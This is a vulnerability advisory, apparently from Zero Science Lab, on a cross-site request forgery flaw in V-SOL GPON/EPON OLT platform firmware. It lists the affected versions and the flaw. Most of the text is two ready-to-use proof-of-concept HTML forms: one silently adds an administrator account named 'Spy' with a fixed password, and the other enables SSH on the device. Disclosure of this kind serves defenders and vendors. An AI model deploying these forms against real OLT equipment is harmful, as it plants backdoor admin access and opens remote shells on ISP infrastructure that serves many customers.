V-SOL GPON/EPON OLT Platform 2.03 Cross Site Request Forgery

2019.09.30
Credit: LiquidWorm
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-352

V-SOL GPON/EPON OLT Platform v2.03 Cross-Site Request Forgery Vendor: Guangzhou V-SOLUTION Electronic Technology Co., Ltd. Product web page: https://www.vsolcn.com Affected version: V2.03.62R_IPv6 V2.03.54R V2.03.52R V2.03.49 V2.03.47 V2.03.40 V2.03.26 V2.03.24 V1.8.6 V1.4 Summary: GPON is currently the leading FTTH standard in broadband access technology being widely deployed by service providers around the world. GPON/EPON OLT products are 1U height 19 inch rack mount products. The features of the OLT are small, convenient, flexible, easy to deploy, high performance. It is appropriate to be deployed in compact room environment. The OLTs can be used for 'Triple-Play', VPN, IP Camera, Enterprise LAN and ICT applications. Desc: The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site. Tested on: GoAhead-Webs Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2019-5536 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5536.php 25.09.2019 -- CSRF add admin: --------------- <html> <body> <form action="http://192.168.8.200/action/user.html" method="POST"> <input type="hidden" name="user_name_add" value="Spy" /> <input type="hidden" name="user_password_add" value="pass123" /> <input type="hidden" name="password_confirm_add" value="pass123" /> <input type="hidden" name="user_role" value="1" /> <input type="hidden" name="user_name_mod" value="" /> <input type="hidden" name="user_password_mod" value="" /> <input type="hidden" name="password_confirm_mod" value="" /> <input type="hidden" name="user_role_mod" value="0" /> <input type="hidden" name="option_um" value="100/" /> <input type="hidden" name="who" value="0" /> <input type="submit" value="Init" /> </form> </body> </html> CSRF enable SSH: ---------------- <html> <body> <form action="https://192.168.8.200/action/sshglobal.html" method="POST"> <input type="hidden" name="ssh_enable" value="1" /> <input type="hidden" name="ssh_version" value="2" /> <input type="hidden" name="auth_retries" value="6" /> <input type="hidden" name="ssh_timeout" value="120" /> <input type="hidden" name="ssh_modulus" value="2048" /> <input type="hidden" name="who" value="0" /> <input type="submit" value="Init" /> </form> </body> </html>


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